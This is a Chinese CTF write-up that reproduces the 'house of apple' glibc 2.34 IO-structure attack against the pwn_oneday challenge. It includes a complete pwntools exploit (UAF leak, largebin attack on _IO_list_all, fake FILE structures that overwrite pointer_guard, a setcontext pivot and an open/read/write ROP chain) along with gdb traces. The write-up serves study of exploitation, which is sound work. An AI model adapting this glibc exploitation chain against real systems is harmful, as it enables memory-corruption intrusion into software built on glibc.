前言
最近准备把roderick01师傅写的3个house of apple都复现一下,先复现apple1吧。用的例题就是pwn_oneday,2.34版本的libc。具体的利用条件和原理参考[原创] House of apple 一种新的glibc中IO攻击方法 (1)-Pwn-看雪论坛-安全社区|安全招聘|bbs.pediy.com
题目分析
漏洞分析
实现了四个功能:增删读写。程序首先输入一个key值(6--10),限定创建堆块的大小只能是largebin中的,且大小只能是0x110*key+0x10,0x110*key+0x20,2*0x110*key+0x10三种。
delete函数存在uaf漏洞。
读和写都限定只能使用一次。
利用步骤
1.利用一次write泄露出libc和heapbase
2.构造一次largebin attack,修改_IO_list_all为一个堆地址
3.利用house of apple修改pointer_guard的值为已知地址
4.利用house of emma控制rsp
5.执行orw读取flag
堆风水构造
由于这个题限制我们只能申请三种大小的堆块:
0x110*key+0x10,0x110*key+0x20,2*0x110*key+0x10
设small=0x110*key+0x10,medium=0x110*key+0x20,large=2*0x110*key+0x10
则我们可以得到一下关系:
2*medium=2*small+0x20=large+0x30
那么合理利用堆风水就可以构造出三个重叠的堆块:
(从上至下顺序为:large+small,2*small+small,2*medium+small)
继而可以修改堆块A的bk_nextsize指针并伪造一个堆块B,这样再进行largebin attack的时候就既可以任意地址写一个堆地址,也可以控制写的堆地址所在chunk的内容,从而构造fake file结构体。
exp
from pwn import *
context.arch = 'amd64'
context.log_level = 'debug'
p=process('./oneday')
elf=ELF('./oneday')
libc=elf.libc
small = 1
medium = 2
large = 3
def info(a,b):
log.info("\033[0;31;40m"+a+hex(b)+'\033[0m')
def menu(index):
p.sendlineafter('enter your command: ', str(index))
def add(choice):
menu(1)
p.sendlineafter('choise: ', str(choice))
def show(index):
menu(4)
p.sendlineafter('Index: ', str(index))
def edit(index, content):
menu(3)
p.sendlineafter('Index: ', str(index))
p.sendafter('Message: ', content)
def dele(index):
menu(2)
p.sendlineafter('Index: ', str(index))
p.sendlineafter('enter your key >>', '10')
add(medium) # 0
add(medium) # 1
add(small) # 2 0x555555606810
dele(2)
dele(1)
dele(0)
add(small) # 3
add(small) # 4
add(small) # 5 0x5555556067f0
add(small) # 6
dele(3)
dele(5)
show(3)
p.recvuntil('Message:')
libc_base = u64(p.recvuntil('\x7f')[-6:].ljust(8, b'\x00')) - 0x1f2cc0
info("libc_base-->",libc_base)
p.recv(2)
heap_base = u64(p.recv(8)) - 0x17f0
info("heap_base-->",heap_base)
main_arena = libc_base + libc.sym['main_arena']
_IO_list_all = libc_base + libc.sym['_IO_list_all']
info("_IO_list_all-->",_IO_list_all)
_IO_wstrn_jumps = libc_base + 0x1f3d20
info("_IO_wstrn_jumps->",_IO_wstrn_jumps)
_IO_cookie_jumps = libc_base + 0x1f3ae0
_IO_lock = libc_base + 0x1f5720
guard = libc_base + 0x203630
setcontext = libc_base + libc.sym['setcontext']
ret = libc_base + 0x000000000002d446
pop_rax_ret = libc_base + 0x00000000000446c0
pop_rdi_ret = libc_base + 0x000000000002daa2
pop_rsi_ret = libc_base + 0x0000000000037c0a
pop_rdx_rbx_ret = libc_base + 0x0000000000087729
syscall_ret = libc_base + 0x00000000000883b6
magic_gadget = libc_base + 0x146020#mov rdx, [rdi+8].mov [rsp], rax. call qword ptr [rdx+20h]
new_pointer_guard = heap_base + 0x1900
chain = heap_base + 0x1910
dele(4)
dele(6)
add(large) # 7
add(small) # 8 0x5555556067e0
add(small) # 9
dele(8)
add(large) # 10
f1 = FileStructure()
f1._IO_read_ptr = 0xa81
f1.chain = chain
f1._flags2 = 8
f1._lock = _IO_lock
f1._wide_data = guard
f1.vtable = _IO_wstrn_jumps
f2 = FileStructure()
f2._IO_write_base = 0
f2._IO_write_ptr = 1
f2._lock = _IO_lock
f2._flags2 = 8
f2.vtable = _IO_cookie_jumps + 0x58
data = {
0x8: _IO_list_all - 0x20,
0x10:{
0:bytes(f1),
0x100:{
0: bytes(f2),
0xe0: [chain + 0x100, rol(magic_gadget ^ new_pointer_guard, 0x11)],
0x100:[
0,
chain + 0x100,
0,
0,
setcontext + 61,
],
0x1a0:[
chain + 0x200,ret,
'flag\x00\x00\x00\x00'
],
0x200:[
pop_rax_ret, # sys_open('flag', 0)
2,
pop_rdi_ret,
chain + 0x1b0,
pop_rsi_ret,
0,
syscall_ret,
pop_rax_ret, # sys_read(flag_fd, heap, 0x100)
0,
pop_rdi_ret,
3,
pop_rsi_ret,
heap_base + 0x500,
pop_rdx_rbx_ret,
0x40,
0,
syscall_ret,
pop_rax_ret, # sys_write(1, heap, 0x100)
1,
pop_rdi_ret,
1,
pop_rsi_ret,
heap_base + 0x500,
pop_rdx_rbx_ret,
0x40,
0,
syscall_ret
]
}
},
0xa90:[0, 0xab1]
}
data = flat(data).ljust(0xaa0, b'\x00')
edit(5, data)
dele(2)
add(large)
gdb.attach(p)
menu(9)
# gdb.attach(p)
p.interactive()
代码分析
add(medium) # 0
add(medium) # 1
add(small) # 2 0x555555606810
dele(2)
dele(1)
dele(0)
第一次堆风水,构造出最下边的chunk2(2*medium+small)
add(small) # 3
add(small) # 4
add(small) # 5 0x5555556067f0
第二次堆风水,构造出中间的chunk5(2*small+small)
add(small) # 3
add(small) # 4
add(small) # 5 0x5555556067f0
add(small) # 6
dele(3)
dele(5)
show(3)
p.recvuntil('Message:')
libc_base = u64(p.recvuntil('\x7f')[-6:].ljust(8, b'\x00')) - 0x1f2cc0
info("libc_base-->",libc_base)
p.recv(2)
heap_base = u64(p.recv(8)) - 0x17f0
info("heap_base-->",heap_base)
main_arena = libc_base + libc.sym['main_arena']
_IO_list_all = libc_base + libc.sym['_IO_list_all']
info("_IO_list_all-->",_IO_list_all)
_IO_wstrn_jumps = libc_base + 0x1f3d20
info("_IO_wstrn_jumps->",_IO_wstrn_jumps)
_IO_cookie_jumps = libc_base + 0x1f3ae0
_IO_lock = libc_base + 0x1f5720
guard = libc_base + 0x203630
setcontext = libc_base + libc.sym['setcontext']
ret = libc_base + 0x000000000002d446
pop_rax_ret = libc_base + 0x00000000000446c0
pop_rdi_ret = libc_base + 0x000000000002daa2
pop_rsi_ret = libc_base + 0x0000000000037c0a
pop_rdx_rbx_ret = libc_base + 0x0000000000087729
syscall_ret = libc_base + 0x00000000000883b6
magic_gadget = libc_base + 0x146020#mov rdx, [rdi+8].mov [rsp], rax. call qword ptr [rdx+20h]
new_pointer_guard = heap_base + 0x1900
chain = heap_base + 0x1910
释放堆块3和堆块5进入unsortedbin中
然后show堆块3正好可以泄露出libc和heapbase。
说一下本地pointer_guard地址如何找
第一种方法:tls+0x30
第二种:
dele(4)
dele(6)
add(large) # 7
add(small) # 8 0x5555556067e0
add(small) # 9
dele(8)
add(large) # 10
第三次堆风水,构造出最上边的chunk8(large+small)。
然后就是这两个file结构体的构造和rop位置的确定,这一部分看了半天,调试一步步跟才弄懂。
f1 = FileStructure()
f1._IO_read_ptr = 0xa81
f1.chain = chain
f1._flags2 = 8
f1._lock = _IO_lock
f1._wide_data = guard
f1.vtable = _IO_wstrn_jumps
f2 = FileStructure()
f2._IO_write_base = 0
f2._IO_write_ptr = 1
f2._lock = _IO_lock
f2._flags2 = 8
f2.vtable = _IO_cookie_jumps + 0x58
data = {
0x8: _IO_list_all - 0x20,
0x10:{
0:bytes(f1),
0x100:{
0: bytes(f2),
0xe0: [chain + 0x100, rol(magic_gadget ^ new_pointer_guard, 0x11)],
0x100:[
0,
chain + 0x100,
0,
0,
setcontext + 61,
],
0x1a0:[
chain + 0x200,ret,
'flag\x00\x00\x00\x00'
],
0x200:[
pop_rax_ret, # sys_open('flag', 0)
2,
pop_rdi_ret,
chain + 0x1b0,
pop_rsi_ret,
0,
syscall_ret,
pop_rax_ret, # sys_read(flag_fd, heap, 0x100)
0,
pop_rdi_ret,
3,
pop_rsi_ret,
heap_base + 0x500,
pop_rdx_rbx_ret,
0x40,
0,
syscall_ret,
pop_rax_ret, # sys_write(1, heap, 0x100)
1,
pop_rdi_ret,
1,
pop_rsi_ret,
heap_base + 0x500,
pop_rdx_rbx_ret,
0x40,
0,
syscall_ret
]
}
},
0xa90:[0, 0xab1]
}
data = flat(data).ljust(0xaa0, b'\x00')
edit(5, data)
通过前边的堆风水我们已经知道,目前largebin中的是chunk8(后三位0x7e0,同下)
而chunk5是0x7f0,那么我们read向chunk5中读入数据正好可以修改chunk8的bk_nextsize为_IO_list_all,并且chunk2是0x810,于是我们同时将chunk2的size修改,从而伪造一个chunk进行释放,那么想一下,这里触发的largebin attack正好将_IO_list_all修改为这个伪造的chunk,那么我们继续往下写的话,那相当于就是对伪造的_IO_list_all进行填充,那我们就实现了任意控制_IO_list_all了。
dele(2)
add(large)
触发largebin attack之后
成功修改。
这里直接看一下伪造后的file表结构。(这个是修改pointer_guard)
$1 = {
file = {
_flags = 0,
_IO_read_ptr = 0xa81 <error: Cannot access memory at address 0xa81>,
_IO_read_end = 0x7f3cc978d250 <main_arena+1520> "@\322x\311<\177",
_IO_read_base = 0x555a067a67e0 "",
_IO_write_base = 0x555a067a67e0 "",
_IO_write_ptr = 0x7f3cc978d640 <_nl_global_locale+224> "\255\001u\311<\177",
_IO_write_end = 0x0,
_IO_buf_base = 0x0,
_IO_buf_end = 0x0,
_IO_save_base = 0x0,
_IO_backup_base = 0x0,
_IO_save_end = 0x0,
_markers = 0x0,
_chain = 0x555a067a6910,
_fileno = 0,
_flags2 = 8,
_old_offset = -1,
_codecvt = 0x0,
_wide_data = 0x7f3cc979d630,
_freeres_list = 0x0,
_freeres_buf = 0x0,
__pad5 = 0,
_mode = 0,
_unused2 = '\000' <repeats 19 times>
},
vtable = 0x7f3cc978dd20 <_IO_wstrn_jumps>
}
我们把_chain改成了0x910,vtable改成了_IO_wstrn_jumps(跳转到_IO_wstrn_overflow),接着看一下0x910这个fake file结构体
$3 = {
file = {
_flags = 0,
_IO_read_ptr = 0x0,
_IO_read_end = 0x0,
_IO_read_base = 0x0,
_IO_write_base = 0x0,
_IO_write_ptr = 0x1 <error: Cannot access memory at address 0x1>,
_IO_write_end = 0x0,
_IO_buf_base = 0x0,
_IO_buf_end = 0x0,
_IO_save_base = 0x0,
_IO_backup_base = 0x0,
_IO_save_end = 0x0,
_markers = 0x0,
_chain = 0x0,
_fileno = 0,
_flags2 = 8,
_old_offset = -1,
_cur_column = 0,
_vtable_offset = 0 '\000',
_shortbuf = "",
_lock = 0x7f3cc978f720 <_IO_stdfile_2_lock>,
_offset = -1,
_codecvt = 0x0,
_wide_data = 0x0,
_freeres_list = 0x0,
_freeres_buf = 0x0,
__pad5 = 0,
_mode = 0,
_unused2 = '\000' <repeats 19 times>
},
vtable = 0x7f3cc978db38 <_IO_cookie_jumps+88>
}
由于这是最后一个fake file,所以_chain置空,vtable指向_IO_cookie_jumps+88(跳转到_IO_cookie_read),然后再gadget,布置好orw即可。
动态调试
调用链:exit==>__run_exit_handlers==>_IO_cleanup==>_IO_flush_all_lockp==>_IO_wstrn_overflow
==>_IO_cookie_read
si进入
si进入
si进入
si进入
此时rax就是_IO_wstrn_jumps
_IO_wstrn_jumps的结构
$2 = {
__dummy = 0,
__dummy2 = 0,
__finish = 0x7f599a79a590 <_IO_wstr_finish>,
__overflow = 0x7f599a798e40 <_IO_wstrn_overflow>,
__underflow = 0x7f599a79a100 <_IO_wstr_underflow>,
__uflow = 0x7f599a7996e0 <__GI__IO_wdefault_uflow>,
__pbackfail = 0x7f599a79a570 <_IO_wstr_pbackfail>,
__xsputn = 0x7f599a7997d0 <__GI__IO_wdefault_xsputn>,
__xsgetn = 0x7f599a799d30 <__GI__IO_wdefault_xsgetn>,
__seekoff = 0x7f599a79a6b0 <_IO_wstr_seekoff>,
__seekpos = 0x7f599a7a2900 <_IO_default_seekpos>,
__setbuf = 0x7f599a7a2800 <_IO_default_setbuf>,
__sync = 0x7f599a7a2bf0 <_IO_default_sync>,
__doallocate = 0x7f599a799940 <__GI__IO_wdefault_doallocate>,
__read = 0x7f599a7a37b0 <_IO_default_read>,
__write = 0x7f599a7a37c0 <_IO_default_write>,
__seek = 0x7f599a7a3790 <_IO_default_seek>,
__close = 0x7f599a7a2bf0 <_IO_default_sync>,
__stat = 0x7f599a7a37a0 <_IO_default_stat>,
__showmanyc = 0x7f599a7a37d0 <_IO_default_showmanyc>,
__imbue = 0x7f599a7a37e0 <_IO_default_imbue>
}
这里调用rax+0x18也就是_IO_wstrn_overflow
si进入
看到这里将pointer_guard给rdx
然后又将rbp的值给rdx,这里就将pointer_guard的值给修改了。而rbp就是f1._wide_data = guard
传入的值,这里就实现了对pointer_guard的篡改与控制。
然后继续执行下一个fake file结构体
si进入
rdi的值
加密操作
加密后正好指向我们的gadget
这里将rdi值修改为(0xa10)
然后执行gadget
正好跳转到setcontext+61
此时rdx+0xa0和rdx+0xa8分别为orw和ret
成功劫持